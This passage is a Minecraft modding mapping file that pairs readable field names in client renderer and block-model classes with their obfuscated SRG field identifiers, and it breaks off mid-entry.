+FD: net/minecraft/client/renderer/ItemRenderer/prevEquippedProgress net/minecraft/client/renderer/ItemRenderer/field_78451_d +FD: net/minecraft/client/renderer/ItemRenderer/renderManager net/minecraft/client/renderer/ItemRenderer/field_178111_g +FD: net/minecraft/client/renderer/ItemRenderer/itemRenderer net/minecraft/client/renderer/ItemRenderer/field_178112_h +FD: net/minecraft/client/renderer/ItemRenderer/equippedItemSlot net/minecraft/client/renderer/ItemRenderer/field_78450_g +FD: net/minecraft/client/renderer/ItemModelMesher/simpleShapes net/minecraft/client/renderer/ItemModelMesher/field_178093_a +FD: net/minecraft/client/renderer/ItemModelMesher/simpleShapesCache net/minecraft/client/renderer/ItemModelMesher/field_178091_b +FD: net/minecraft/client/renderer/ItemModelMesher/shapers net/minecraft/client/renderer/ItemModelMesher/field_178092_c +FD: net/minecraft/client/renderer/ItemModelMesher/modelManager net/minecraft/client/renderer/ItemModelMesher/field_178090_d +FD: net/minecraft/client/renderer/RenderGlobal$1/field_85101_a net/minecraft/client/renderer/RenderGlobal$1/field_85101_a +FD: net/minecraft/client/renderer/RenderGlobal$1/field_85099_b net/minecraft/client/renderer/RenderGlobal$1/field_85099_b +FD: net/minecraft/client/renderer/RenderGlobal$1/field_85100_c net/minecraft/client/renderer/RenderGlobal$1/field_85100_c +FD: net/minecraft/client/renderer/RenderGlobal$1/field_85098_d net/minecraft/client/renderer/RenderGlobal$1/field_85098_d +FD: net/minecraft/client/renderer/RenderGlobal$2/field_178037_a net/minecraft/client/renderer/RenderGlobal$2/field_178037_a +FD: net/minecraft/client/renderer/RenderGlobal$ContainerLocalRenderInformation/renderChunk net/minecraft/client/renderer/RenderGlobal$ContainerLocalRenderInformation/field_178036_a +FD: net/minecraft/client/renderer/RenderGlobal$ContainerLocalRenderInformation/facing net/minecraft/client/renderer/RenderGlobal$ContainerLocalRenderInformation/field_178034_b +FD: net/minecraft/client/renderer/RenderGlobal$ContainerLocalRenderInformation/setFacing net/minecraft/client/renderer/RenderGlobal$ContainerLocalRenderInformation/field_178035_c +FD: net/minecraft/client/renderer/RenderGlobal$ContainerLocalRenderInformation/counter net/minecraft/client/renderer/RenderGlobal$ContainerLocalRenderInformation/field_178032_d +FD: net/minecraft/client/renderer/RenderGlobal$ContainerLocalRenderInformation/field_178033_e net/minecraft/client/renderer/RenderGlobal$ContainerLocalRenderInformation/field_178033_e +FD: net/minecraft/client/renderer/RenderGlobal/entityOutlineFramebuffer net/minecraft/client/renderer/RenderGlobal/field_175015_z +FD: net/minecraft/client/renderer/RenderGlobal/entityOutlineShader net/minecraft/client/renderer/RenderGlobal/field_174991_A +FD: net/minecraft/client/renderer/RenderGlobal/frustumUpdatePosX net/minecraft/client/renderer/RenderGlobal/field_174992_B +FD: net/minecraft/client/renderer/RenderGlobal/frustumUpdatePosY net/minecraft/client/renderer/RenderGlobal/field_174993_C +FD: net/minecraft/client/renderer/RenderGlobal/frustumUpdatePosZ net/minecraft/client/renderer/RenderGlobal/field_174987_D +FD: net/minecraft/client/renderer/RenderGlobal/frustumUpdatePosChunkX net/minecraft/client/renderer/RenderGlobal/field_174988_E +FD: net/minecraft/client/renderer/RenderGlobal/frustumUpdatePosChunkY net/minecraft/client/renderer/RenderGlobal/field_174989_F +FD: net/minecraft/client/renderer/RenderGlobal/frustumUpdatePosChunkZ net/minecraft/client/renderer/RenderGlobal/field_174990_G +FD: net/minecraft/client/renderer/RenderGlobal/lastViewEntityX net/minecraft/client/renderer/RenderGlobal/field_174997_H +FD: net/minecraft/client/renderer/RenderGlobal/lastViewEntityY net/minecraft/client/renderer/RenderGlobal/field_174998_I +FD: net/minecraft/client/renderer/RenderGlobal/lastViewEntityZ net/minecraft/client/renderer/RenderGlobal/field_174999_J +FD: net/minecraft/client/renderer/RenderGlobal/lastViewEntityPitch net/minecraft/client/renderer/RenderGlobal/field_175000_K +FD: net/minecraft/client/renderer/RenderGlobal/lastViewEntityYaw net/minecraft/client/renderer/RenderGlobal/field_174994_L +FD: net/minecraft/client/renderer/RenderGlobal/renderDispatcher net/minecraft/client/renderer/RenderGlobal/field_174995_M +FD: net/minecraft/client/renderer/RenderGlobal/renderContainer net/minecraft/client/renderer/RenderGlobal/field_174996_N +FD: net/minecraft/client/renderer/RenderGlobal/renderDistanceChunks net/minecraft/client/renderer/RenderGlobal/field_72739_F +FD: net/minecraft/client/renderer/RenderGlobal/renderEntitiesStartupCounter net/minecraft/client/renderer/RenderGlobal/field_72740_G +FD: net/minecraft/client/renderer/RenderGlobal/countEntitiesTotal net/minecraft/client/renderer/RenderGlobal/field_72748_H +FD: net/minecraft/client/renderer/RenderGlobal/countEntitiesRendered net/minecraft/client/renderer/RenderGlobal/field_72749_I +FD: net/minecraft/client/renderer/RenderGlobal/countEntitiesHidden net/minecraft/client/renderer/RenderGlobal/field_72750_J +FD: net/minecraft/client/renderer/RenderGlobal/debugFixTerrainFrustum net/minecraft/client/renderer/RenderGlobal/field_175002_T +FD: net/minecraft/client/renderer/RenderGlobal/debugFixedClippingHelper net/minecraft/client/renderer/RenderGlobal/field_175001_U +FD: net/minecraft/client/renderer/RenderGlobal/debugTerrainMatrix net/minecraft/client/renderer/RenderGlobal/field_175004_V +FD: net/minecraft/client/renderer/RenderGlobal/debugTerrainFrustumPosition net/minecraft/client/renderer/RenderGlobal/field_175003_W +FD: net/minecraft/client/renderer/RenderGlobal/vboEnabled net/minecraft/client/renderer/RenderGlobal/field_175005_X +FD: net/minecraft/client/renderer/RenderGlobal/prevRenderSortX net/minecraft/client/renderer/RenderGlobal/field_147596_f +FD: net/minecraft/client/renderer/RenderGlobal/renderChunkFactory net/minecraft/client/renderer/RenderGlobal/field_175007_a +FD: net/minecraft/client/renderer/RenderGlobal/prevRenderSortY net/minecraft/client/renderer/RenderGlobal/field_147597_g +FD: net/minecraft/client/renderer/RenderGlobal/prevRenderSortZ net/minecraft/client/renderer/RenderGlobal/field_147602_h +FD: net/minecraft/client/renderer/RenderGlobal/displayListEntitiesDirty net/minecraft/client/renderer/RenderGlobal/field_147595_R +FD: net/minecraft/client/renderer/RenderGlobal/logger net/minecraft/client/renderer/RenderGlobal/field_147599_m +FD: net/minecraft/client/renderer/RenderGlobal/locationMoonPhasesPng net/minecraft/client/renderer/RenderGlobal/field_110927_h +FD: net/minecraft/client/renderer/RenderGlobal/locationSunPng net/minecraft/client/renderer/RenderGlobal/field_110928_i +FD: net/minecraft/client/renderer/RenderGlobal/locationCloudsPng net/minecraft/client/renderer/RenderGlobal/field_110925_j +FD: net/minecraft/client/renderer/RenderGlobal/locationEndSkyPng net/minecraft/client/renderer/RenderGlobal/field_110926_k +FD: net/minecraft/client/renderer/RenderGlobal/locationForcefieldPng net/minecraft/client/renderer/RenderGlobal/field_175006_g +FD: net/minecraft/client/renderer/RenderGlobal/mc net/minecraft/client/renderer/RenderGlobal/field_72777_q +FD: net/minecraft/client/renderer/RenderGlobal/renderEngine net/minecraft/client/renderer/RenderGlobal/field_72770_i +FD: net/minecraft/client/renderer/RenderGlobal/renderManager net/minecraft/client/renderer/RenderGlobal/field_175010_j +FD: net/minecraft/client/renderer/RenderGlobal/theWorld net/minecraft/client/renderer/RenderGlobal/field_72769_h +FD: net/minecraft/client/renderer/RenderGlobal/chunksToUpdate net/minecraft/client/renderer/RenderGlobal/field_175009_l +FD: net/minecraft/client/renderer/RenderGlobal/renderInfos net/minecraft/client/renderer/RenderGlobal/field_72755_R +FD: net/minecraft/client/renderer/RenderGlobal/setTileEntities net/minecraft/client/renderer/RenderGlobal/field_181024_n +FD: net/minecraft/client/renderer/RenderGlobal/viewFrustum net/minecraft/client/renderer/RenderGlobal/field_175008_n +FD: net/minecraft/client/renderer/RenderGlobal/starGLCallList net/minecraft/client/renderer/RenderGlobal/field_72772_v +FD: net/minecraft/client/renderer/RenderGlobal/glSkyList net/minecraft/client/renderer/RenderGlobal/field_72771_w +FD: net/minecraft/client/renderer/RenderGlobal/glSkyList2 net/minecraft/client/renderer/RenderGlobal/field_72781_x +FD: net/minecraft/client/renderer/RenderGlobal/vertexBufferFormat net/minecraft/client/renderer/RenderGlobal/field_175014_r +FD: net/minecraft/client/renderer/RenderGlobal/starVBO net/minecraft/client/renderer/RenderGlobal/field_175013_s +FD: net/minecraft/client/renderer/RenderGlobal/skyVBO net/minecraft/client/renderer/RenderGlobal/field_175012_t +FD: net/minecraft/client/renderer/RenderGlobal/sky2VBO net/minecraft/client/renderer/RenderGlobal/field_175011_u +FD: net/minecraft/client/renderer/RenderGlobal/cloudTickCounter net/minecraft/client/renderer/RenderGlobal/field_72773_u +FD: net/minecraft/client/renderer/RenderGlobal/damagedBlocks net/minecraft/client/renderer/RenderGlobal/field_72738_E +FD: net/minecraft/client/renderer/RenderGlobal/mapSoundPositions net/minecraft/client/renderer/RenderGlobal/field_147593_P +FD: net/minecraft/client/renderer/RenderGlobal/destroyBlockIcons net/minecraft/client/renderer/RenderGlobal/field_94141_F +FD: net/minecraft/client/renderer/ImageBufferDownload/imageData net/minecraft/client/renderer/ImageBufferDownload/field_78438_a +FD: net/minecraft/client/renderer/ImageBufferDownload/imageWidth net/minecraft/client/renderer/ImageBufferDownload/field_78436_b +FD: net/minecraft/client/renderer/ImageBufferDownload/imageHeight net/minecraft/client/renderer/ImageBufferDownload/field_78437_c +FD: net/minecraft/client/shader/Framebuffer/framebufferTextureWidth net/minecraft/client/shader/Framebuffer/field_147622_a +FD: net/minecraft/client/shader/Framebuffer/framebufferTextureHeight net/minecraft/client/shader/Framebuffer/field_147620_b +FD: net/minecraft/client/shader/Framebuffer/framebufferWidth net/minecraft/client/shader/Framebuffer/field_147621_c +FD: net/minecraft/client/shader/Framebuffer/framebufferHeight net/minecraft/client/shader/Framebuffer/field_147618_d +FD: net/minecraft/client/shader/Framebuffer/useDepth net/minecraft/client/shader/Framebuffer/field_147619_e +FD: net/minecraft/client/shader/Framebuffer/framebufferObject net/minecraft/client/shader/Framebuffer/field_147616_f +FD: net/minecraft/client/shader/Framebuffer/framebufferTexture net/minecraft/client/shader/Framebuffer/field_147617_g +FD: net/minecraft/client/shader/Framebuffer/depthBuffer net/minecraft/client/shader/Framebuffer/field_147624_h +FD: net/minecraft/client/shader/Framebuffer/framebufferColor net/minecraft/client/shader/Framebuffer/field_147625_i +FD: net/minecraft/client/shader/Framebuffer/framebufferFilter net/minecraft/client/shader/Framebuffer/field_147623_j +FD: net/minecraft/client/renderer/Tessellator/worldRenderer net/minecraft/client/renderer/Tessellator/field_178183_a +FD: net/minecraft/client/renderer/Tessellator/vboUploader net/minecraft/client/renderer/Tessellator/field_178182_b +FD: net/minecraft/client/renderer/Tessellator/instance net/minecraft/client/renderer/Tessellator/field_78398_a +FD: net/minecraft/client/renderer/VertexBufferUploader/vertexBuffer net/minecraft/client/renderer/VertexBufferUploader/field_178179_a +FD: net/minecraft/client/renderer/ViewFrustum/renderGlobal net/minecraft/client/renderer/ViewFrustum/field_178169_a +FD: net/minecraft/client/renderer/ViewFrustum/world net/minecraft/client/renderer/ViewFrustum/field_178167_b +FD: net/minecraft/client/renderer/ViewFrustum/countChunksY net/minecraft/client/renderer/ViewFrustum/field_178168_c +FD: net/minecraft/client/renderer/ViewFrustum/countChunksX net/minecraft/client/renderer/ViewFrustum/field_178165_d +FD: net/minecraft/client/renderer/ViewFrustum/countChunksZ net/minecraft/client/renderer/ViewFrustum/field_178166_e +FD: net/minecraft/client/renderer/ViewFrustum/renderChunks net/minecraft/client/renderer/ViewFrustum/field_178164_f +FD: net/minecraft/client/renderer/BlockModelShapes$1/field_178143_a net/minecraft/client/renderer/BlockModelShapes$1/field_178143_a +FD: net/minecraft/client/renderer/BlockModelShapes$2/field_178136_a net/minecraft/client/renderer/BlockModelShapes$2/field_178136_a +FD: net/minecraft/client/renderer/BlockModelShapes$3/field_178137_a net/minecraft/client/renderer/BlockModelShapes$3/field_178137_a +FD: net/minecraft/client/renderer/BlockModelShapes$4/field_178134_a net/minecraft/client/renderer/BlockModelShapes$4/field_178134_a +FD: net/minecraft/client/renderer/BlockModelShapes$5/field_178135_a net/minecraft/client/renderer/BlockModelShapes$5/field_178135_a +FD: net/minecraft/client/renderer/BlockModelShapes$6/field_178139_a net/minecraft/client/renderer/BlockModelShapes$6/field_178139_a +FD: net/minecraft/client/renderer/BlockModelShapes$7/field_178138_a net/minecraft/client/renderer/BlockModelShapes$7/field_178138_a +FD: net/minecraft/client/renderer/BlockModelShapes$8/field_178257_a net/minecraft/client/renderer/BlockModelShapes$8/field_178257_a +FD: net/minecraft/client/renderer/BlockModelShapes/bakedModelStore net/minecraft/client/renderer/BlockModelShapes/field_178129_a +FD: net/minecraft/client/renderer/BlockModelShapes/blockStateMapper net/minecraft/client/renderer/BlockModelShapes/field_178127_b +FD: net/minecraft/client/renderer/BlockModelShapes/modelManager net/minecraft/client/renderer/BlockModelShapes/field_178128_c +FD: net/minecraft/client/renderer/BlockRendererDispatcher/blockModelShapes net/minecraft/client/renderer/BlockRendererDispatcher/field_175028_a +FD: net/minecraft/client/renderer/BlockRendererDispatcher/gameSettings net/minecraft/client/renderer/BlockRendererDispatcher/field_175026_b +FD: net/minecraft/client/renderer/BlockRendererDispatcher/blockModelRenderer net/minecraft/client/renderer/BlockRendererDispatcher/field_175027_c +FD: net/minecraft/client/renderer/BlockRendererDispatcher/chestRenderer net/minecraft/client/renderer/BlockRendererDispatcher/field_175024_d +FD: net/minecraft/client/renderer/BlockRendererDispatcher/fluidRenderer net/minecraft/client/renderer/BlockRendererDispatcher/field_175025_e +FD: net/minecraft/client/renderer/BlockFluidRenderer/atlasSpritesLava net/minecraft/client/renderer/BlockFluidRenderer/field_178272_a +FD: net/minecraft/client/renderer/BlockFluidRenderer/atlasSpritesWater net/minecraft/client/renderer/BlockFluidRenderer/field_178271_b +FD: net/minecraft/client/renderer/BlockModelRenderer$1/field_178290_a net/minecraft/client/renderer/BlockModelRenderer$1/field_178290_a +FD: net/minecraft/client/renderer/BlockModelRenderer$EnumNeighborInfo/DOWN net/minecraft/client/renderer/BlockModelRenderer$EnumNeighborInfo/DOWN +FD: net/minecraft/client/renderer/BlockModelRenderer$EnumNeighborInfo/UP net/minecraft/client/renderer/BlockModelRenderer$EnumNeighborInfo/UP +FD: net/minecraft/client/renderer/BlockModelRenderer$EnumNeighborInfo/NORTH net/minecraft/client/renderer/BlockModelRenderer$EnumNeighborInfo/NORTH +FD: net/minecraft/client/renderer/BlockModelRenderer$EnumNeighborInfo/SOUTH net/minecraft/client/renderer/BlockModelRenderer$EnumNeighborInfo/SOUTH +FD: net/minecraft/client/renderer/BlockModelRenderer$EnumNeighborInfo/WEST net/minecraft/client/renderer/BlockModelRenderer$EnumNeighborInfo/WEST +FD: net/minecraft/client/renderer/BlockModelRenderer$EnumNeighborInfo/EAST net/minecraft/client/renderer/BlockModelRenderer$EnumNeighborInfo/EAST +FD: net/minecraft/client/renderer/BlockModelRenderer$EnumNeighborInfo/field_178276_g net/minecraft/client/renderer/BlockModelRenderer$EnumNeighborInfo/field_178276_g +FD: net/minecraft/client/renderer/BlockModelRenderer$EnumNeighborInfo/field_178288_h net/minecraft/client/renderer/BlockModelRenderer$EnumNeighborInfo/field_178288_h +FD: net/minecraft/client/renderer/BlockModelRenderer$EnumNeighborInfo/field_178289_i net/minecraft/client/renderer/BlockModelRenderer$EnumNeighborInfo/field_178289_i +FD: net/minecraft/client/renderer/BlockModelRenderer$EnumNeighborInfo/field_178286_j net/minecraft/client/renderer/BlockModelRenderer$EnumNeighborInfo/field_178286_j +FD: net/minecraft/client/renderer/BlockModelRenderer$EnumNeighborInfo/field_178287_k net/minecraft/client/renderer/BlockModelRenderer$EnumNeighborInfo/field_178287_k +FD: net/minecraft/client/renderer/BlockModelRenderer$EnumNeighborInfo/field_178284_l net/minecraft/client/renderer/BlockModelRenderer$EnumNeighborInfo/field_178284_l +FD: net/minecraft/client/renderer/BlockModelRenderer$EnumNeighborInfo/field_178285_m net/minecraft/client/renderer/BlockModelRenderer$EnumNeighborInfo/field_178285_m +FD: net/minecraft/client/renderer/BlockModelRenderer$EnumNeighborInfo/VALUES net/minecraft/client/renderer/BlockModelRenderer$EnumNeighborInfo/field_178282_n +FD: net/minecraft/client/renderer/BlockModelRenderer$EnumNeighborInfo/$VALUES net/minecraft/client/renderer/BlockModelRenderer$EnumNeighborInfo/$VALUES +FD: net/minecraft/client/renderer/BlockModelRenderer$AmbientOcclusionFace/field_178208_a net/minecraft/client/renderer/BlockModelRenderer$AmbientOcclusionFace/field_178208_a +FD: net/minecraft/client/renderer/BlockModelRenderer$AmbientOcclusionFace/vertexColorMultiplier net/minecraft/client/renderer/BlockModelRenderer$AmbientOcclusionFace/field_178206_b +FD: net/minecraft/client/renderer/BlockModelRenderer$AmbientOcclusionFace/vertexBrightness net/minecraft/client/renderer/BlockModelRenderer$AmbientOcclusionFace/field_178207_c +FD: net/minecraft/client/renderer/BlockModelRenderer$VertexTranslations/DOWN net/minecraft/client/renderer/BlockModelRenderer$VertexTranslations/DOWN +FD: net/minecraft/client/renderer/BlockModelRenderer$VertexTranslations/UP net/minecraft/client/renderer/BlockModelRenderer$VertexTranslations/UP +FD: net/minecraft/client/renderer/BlockModelRenderer$VertexTranslations/NORTH net/minecraft/client/renderer/BlockModelRenderer$VertexTranslations/NORTH +FD: net/minecraft/client/renderer/BlockModelRenderer$VertexTranslations/SOUTH net/minecraft/client/renderer/BlockModelRenderer$VertexTranslations/SOUTH +FD: net/minecraft/client/renderer/BlockModelRenderer$VertexTranslations/WEST net/minecraft/client/renderer/BlockModelRenderer$VertexTranslations/WEST +FD: net/minecraft/client/renderer/BlockModelRenderer$VertexTranslations/EAST net/minecraft/client/renderer/BlockModelRenderer$VertexTranslations/EAST +FD: net/minecraft/client/renderer/BlockModelRenderer$VertexTranslations/field_178191_g net/minecraft/client/renderer/BlockModelRenderer$VertexTranslations/field_178191_g +FD: net/minecraft/client/renderer/BlockModelRenderer$VertexTranslations/field_178200_h net/minecraft/client/renderer/BlockModelRenderer$VertexTranslations/field_178200_h +FD: net/minecraft/client/renderer/BlockModelRenderer$VertexTranslations/field_178201_i net/minecraft/client/renderer/BlockModelRenderer$VertexTranslations/field_178201_i +FD: net/minecraft/client/renderer/BlockModelRenderer$VertexTranslations/field_178198_j net/minecraft/client/renderer/BlockModelRenderer$VertexTranslations/field_178198_j +FD: net/minecraft/client/renderer/BlockModelRenderer$VertexTranslations/VALUES net/minecraft/client/renderer/BlockModelRenderer$VertexTranslations/field_178199_k +FD: net/minecraft/client/renderer/BlockModelRenderer$VertexTranslations/$VALUES net/minecraft/client/renderer/BlockModelRenderer$VertexTranslations/$VALUES +FD: net/minecraft/client/renderer/BlockModelRenderer$Orientation/DOWN net/minecraft/client/renderer/BlockModelRenderer$Orientation/DOWN +FD: net/minecraft/client/renderer/BlockModelRenderer$Orientation/UP net/minecraft/client/renderer/BlockModelRenderer$Orientation/UP +FD: net/minecraft/client/renderer/BlockModelRenderer$Orientation/NORTH net/minecraft/client/renderer/BlockModelRenderer$Orientation/NORTH +FD: net/minecraft/client/renderer/BlockModelRenderer$Orientation/SOUTH net/minecraft/client/renderer/BlockModelRenderer$Orientation/SOUTH +FD: net/minecraft/client/renderer/BlockModelRenderer$Orientation/WEST net/minecraft/client/renderer/BlockModelRenderer$Orientation/WEST +FD: net/minecraft/client/renderer/BlockModelRenderer$Orientation/EAST net/minecraft/client/renderer/BlockModelRenderer$Orientation/EAST +FD: net/minecraft/client/renderer/BlockModelRenderer$Orientation/FLIP_DOWN net/minecraft/client/renderer/BlockModelRenderer$Orientation/FLIP_DOWN +FD: net/minecraft/client/renderer/BlockModelRenderer$Orientation/FLIP_UP net/minecraft/client/renderer/BlockModelRenderer$Orientation/FLIP_UP +FD: net/minecraft/client/renderer/BlockModelRenderer$Orientation/FLIP_NORTH net/minecraft/client/renderer/BlockModelRenderer$Orientation/FLIP_NORTH +FD: net/minecraft/client/renderer/BlockModelRenderer$Orientation/FLIP_SOUTH net/minecraft/client/renderer/BlockModelRenderer$Orientation/FLIP_SOUTH +FD: net/minecraft/client/renderer/BlockModelRenderer$Orientation/FLIP_WEST net/minecraft/client/renderer/BlockModelRenderer$Orientation/FLIP_WEST +FD: net/minecraft/client/renderer/BlockModelRenderer$Orientation/FLIP_EAST net/minecraft/client/renderer/BlockModelRenderer$Orientation/FLIP_EAST +FD: net/minecraft/client/renderer/BlockModelRenderer$Orientation/field_178229_m net/minecraft/client/renderer/BlockModelRenderer$Orientation/field_178229_m +FD: net/minecraft/client/renderer/BlockModelRenderer$Orientation/$VALUES net/minecraft/client/renderer/BlockModelRenderer$Orientation/$VALUES +FD: net/minecraft/client/renderer/block/model/BakedQuad/vertexData net/minecraft/client/renderer/block/model/BakedQuad/field_178215_a +FD: net/minecraft/client/renderer/block/model/BakedQuad/tintIndex net/minecraft/client/renderer/block/model/BakedQuad/field_178213_b +FD: net/minecraft/client/renderer/block/model/BakedQuad/face net/minecraft/client/renderer/block/model/BakedQuad/field_178214_c +FD: net/minecraft/client/renderer/block/model/BlockPart$1/field_178234_a net/minecraft/client/renderer/block/model/BlockPart$1/field_178234_a +FD: net/minecraft/client/renderer/block/model/BlockPart/positionFrom net/minecraft/client/renderer/block/model/BlockPart/field_178241_a +FD: net/minecraft/client/renderer/block/model/BlockPart/positionTo net/minecraft/client/renderer/block/model/BlockPart/field_178239_b +FD: net/minecraft/client/renderer/block/model/BlockPart/mapFaces net/minecraft/client/renderer/block/model/BlockPart/field_178240_c +FD: net/minecraft/client/renderer/block/model/BlockPart/partRotation net/minecraft/client/renderer/block/model/BlockPart/field_178237_d +FD: net/minecraft/client/renderer/block/model/BlockPart/shade net/minecraft/client/renderer/block/model/BlockPart/field_178238_e +FD: net/minecraft/client/renderer/block/model/BlockPartFace/FACING_DEFAULT net/minecraft/client/renderer/block/model/BlockPartFace/field_178246_a +FD: net/minecraft/client/renderer/block/model/BlockPartFace/cullFace net/minecraft/client/renderer/block/model/BlockPartFace/field_178244_b +FD: net/minecraft/client/renderer/block/model/BlockPartFace/tintIndex net/minecraft/client/renderer/block/model/BlockPartFace/field_178245_c +FD: net/minecraft/client/renderer/block/model/BlockPartFace/texture net/minecraft/client/renderer/block/model/BlockPartFace/field_178242_d +FD: net/minecraft/client/renderer/block/model/BlockPartFace/blockFaceUV net/minecraft/client/renderer/block/model/BlockPartFace/field_178243_e +FD: net/minecraft/client/renderer/block/model/BlockPartRotation/origin net/minecraft/client/renderer/block/model/BlockPartRotation/field_178344_a +FD: net/minecraft/client/renderer/block/model/BlockPartRotation/axis net/minecraft/client/renderer/block/model/BlockPartRotation/field_178342_b +FD: net/minecraft/client/renderer/block/model/BlockPartRotation/angle net/minecraft/client/renderer/block/model/BlockPartRotation/field_178343_c +FD: net/minecraft/client/renderer/block/model/BlockPartRotation/rescale net/minecraft/client/renderer/block/model/BlockPartRotation/field_178341_d +FD: net/minecraft/client/renderer/block/model/BlockFaceUV/uvs net/minecraft/client/renderer/block/model/BlockFaceUV/field_178351_a +FD: net/minecraft/client/renderer/block/model/BlockFaceUV/rotation net/minecraft/client/renderer/block/model/BlockFaceUV/field_178350_b +FD: net/minecraft/client/renderer/block/model/ModelBlock$Bookkeep/model net/minecraft/client/renderer/block/model/ModelBlock$Bookkeep/field_178324_a +FD: net/minecraft/client/renderer/block/model/ModelBlock$Bookkeep/modelExt net/minecraft/client/renderer/block/model/ModelBlock$Bookkeep/field_178323_b +FD: net/minecraft/client/renderer/block/model/ModelBlock/SERIALIZER net/minecraft/client/renderer/block/model/ModelBlock/field_178319_a +FD: net/minecraft/client/renderer/block/model/ModelBlock/name net/minecraft/client/renderer/block/model/ModelBlock/field_178317_b +FD: net/minecraft/client/renderer/block/model/ModelBlock/textures net/minecraft/client/renderer/block/model/ModelBlock/field_178318_c +FD: net/minecraft/client/renderer/block/model/ModelBlock/parent net/minecraft/client/renderer/block/model/ModelBlock/field_178315_d +FD: net/minecraft/client/renderer/block/model/ModelBlock/parentLocation net/minecraft/client/renderer/block/model/ModelBlock/field_178316_e +FD: net/minecraft/client/renderer/block/model/ModelBlock/LOGGER net/minecraft/client/renderer/block/model/ModelBlock/field_178313_f +FD: net/minecraft/client/renderer/block/model/ModelBlock/elements net/minecraft/client/renderer/block/model/ModelBlock/field_178314_g +FD: net/minecraft/client/renderer/block/model/ModelBlock/gui3d net/minecraft/client/renderer/block/model/ModelBlock/field_178321_h +FD: net/minecraft/client/renderer/block/model/ModelBlock/ambientOcclusion net/minecraft/client/renderer/block/model/ModelBlock/field_178322_i +FD: net/minecraft/client/renderer/block/model/ModelBlock/cameraTransforms net/minecraft/client/renderer/block/model/ModelBlock/field_178320_j +FD: net/minecraft/client/renderer/block/model/ModelBlockDefinition$MissingVariantException/field_178438_a net/minecraft/client/renderer/block/model/ModelBlockDefinition$MissingVariantException/field_178438_a +FD: net/minecraft/client/renderer/block/model/ModelBlockDefinition$Variant/modelLocation net/minecraft/client/renderer/block/model/ModelBlockDefinition$Variant/field_178437_a +FD: net/minecraft/client/renderer/block/model/ModelBlockDefinition$Variant/modelRotation net/minecraft/client/renderer/block/model/ModelBlockDefinition$Variant/field_178435_b +FD: net/minecraft/client/renderer/block/model/ModelBlockDefinition$Variant/uvLock net/minecraft/client/renderer/block/model/ModelBlockDefinition$Variant/field_178436_c +FD: net/minecraft/client/renderer/block/model/ModelBlockDefinition$Variant/weight net/minecraft/client/renderer/block/model/ModelBlockDefinition$Variant/field_178434_d +FD: net/minecraft/client/renderer/block/model/ModelBlockDefinition$Variants/name net/minecraft/client/renderer/block/model/ModelBlockDefinition$Variants/field_178423_a +FD: net/minecraft/client/renderer/block/model/ModelBlockDefinition$Variants/listVariants net/minecraft/client/renderer/block/model/ModelBlockDefinition$Variants/field_178422_b +FD: net/minecraft/client/renderer/block/model/ModelBlockDefinition/GSON net/minecraft/client/renderer/block/model/ModelBlockDefinition/field_178333_a +FD: net/minecraft/client/renderer/block/model/ModelBlockDefinition/mapVariants net/minecraft/client/renderer/block/model/ModelBlockDefinition/field_178332_b +FD: net/minecraft/client/renderer/block/model/BreakingFour$1/field_178419_a net/minecraft/client/renderer/block/model/BreakingFour$1/field_178419_a +FD: net/minecraft/client/renderer/block/model/BreakingFour/texture net/minecraft/client/renderer/block/model/BreakingFour/field_178218_d +FD: net/minecraft/client/renderer/block/model/FaceBakery$1/field_178400_a net/minecraft/client/renderer/block/model/FaceBakery$1/field_178400_a +FD: net/minecraft/client/renderer/block/model/FaceBakery$1/field_178399_b net/minecraft/client/renderer/block/model/FaceBakery$1/field_178399_b +FD: net/minecraft/client/renderer/block/model/FaceBakery/SCALE_ROTATION_22_5 net/minecraft/client/renderer/block/model/FaceBakery/field_178418_a +FD: net/minecraft/client/renderer/block/model/FaceBakery/SCALE_ROTATION_GENERAL net/minecraft/client/renderer/block/model/FaceBakery/field_178417_b +FD: net/minecraft/client/renderer/block/model/ItemModelGenerator$1/field_178390_a net/minecraft/client/renderer/block/model/ItemModelGenerator$1/field_178390_a +FD: net/minecraft/client/renderer/block/model/ItemModelGenerator$Span/spanFacing net/minecraft/client/renderer/block/model/ItemModelGenerator$Span/field_178389_a +FD: net/minecraft/client/renderer/block/model/ItemModelGenerator$Span/field_178387_b net/minecraft/client/renderer/block/model/ItemModelGenerator$Span/field_178387_b +FD: net/minecraft/client/renderer/block/model/ItemModelGenerator$Span/field_178388_c net/minecraft/client/renderer/block/model/ItemModelGenerator$Span/field_178388_c +FD: net/minecraft/client/renderer/block/model/ItemModelGenerator$Span/field_178386_d net/minecraft/client/renderer/block/model/ItemModelGenerator$Span/field_178386_d +FD: net/minecraft/client/renderer/block/model/ItemModelGenerator$SpanFacing/UP net/minecraft/client/renderer/block/model/ItemModelGenerator$SpanFacing/UP +FD: net/minecraft/client/renderer/block/model/ItemModelGenerator$SpanFacing/DOWN net/minecraft/client/renderer/block/model/ItemModelGenerator$SpanFacing/DOWN +FD: net/minecraft/client/renderer/block/model/ItemModelGenerator$SpanFacing/LEFT net/minecraft/client/renderer/block/model/ItemModelGenerator$SpanFacing/LEFT +FD: net/minecraft/client/renderer/block/model/ItemModelGenerator$SpanFacing/RIGHT net/minecraft/client/renderer/block/model/ItemModelGenerator$SpanFacing/RIGHT +FD: net/minecraft/client/renderer/block/model/ItemModelGenerator$SpanFacing/facing net/minecraft/client/renderer/block/model/ItemModelGenerator$SpanFacing/field_178376_e +FD: net/minecraft/client/renderer/block/model/ItemModelGenerator$SpanFacing/field_178373_f net/minecraft/client/renderer/block/model/ItemModelGenerator$SpanFacing/field_178373_f +FD: net/minecraft/client/renderer/block/model/ItemModelGenerator$SpanFacing/field_178374_g net/minecraft/client/renderer/block/model/ItemModelGenerator$SpanFacing/field_178374_g +FD: net/minecraft/client/renderer/block/model/ItemModelGenerator$SpanFacing/$VALUES net/minecraft/client/renderer/block/model/ItemModelGenerator$SpanFacing/$VALUES +FD: net/minecraft/client/renderer/block/model/ItemModelGenerator/LAYERS net/minecraft/client/renderer/block/model/ItemModelGenerator/field_178398_a +FD: net/minecraft/client/renderer/block/model/ItemTransformVec3f$Deserializer/ROTATION_DEFAULT net/minecraft/client/renderer/block/model/ItemTransformVec3f$Deserializer/field_178362_a +FD: net/minecraft/client/renderer/block/model/ItemTransformVec3f$Deserializer/TRANSLATION_DEFAULT net/minecraft/client/renderer/block/model/ItemTransformVec3f$Deserializer/field_178360_b +FD: net/minecraft/client/renderer/block/model/ItemTransformVec3f$Deserializer/SCALE_DEFAULT net/minecraft/client/renderer/block/model/ItemTransformVec3f$Deserializer/field_178361_c +FD: net/minecraft/client/renderer/block/model/ItemTransformVec3f/DEFAULT 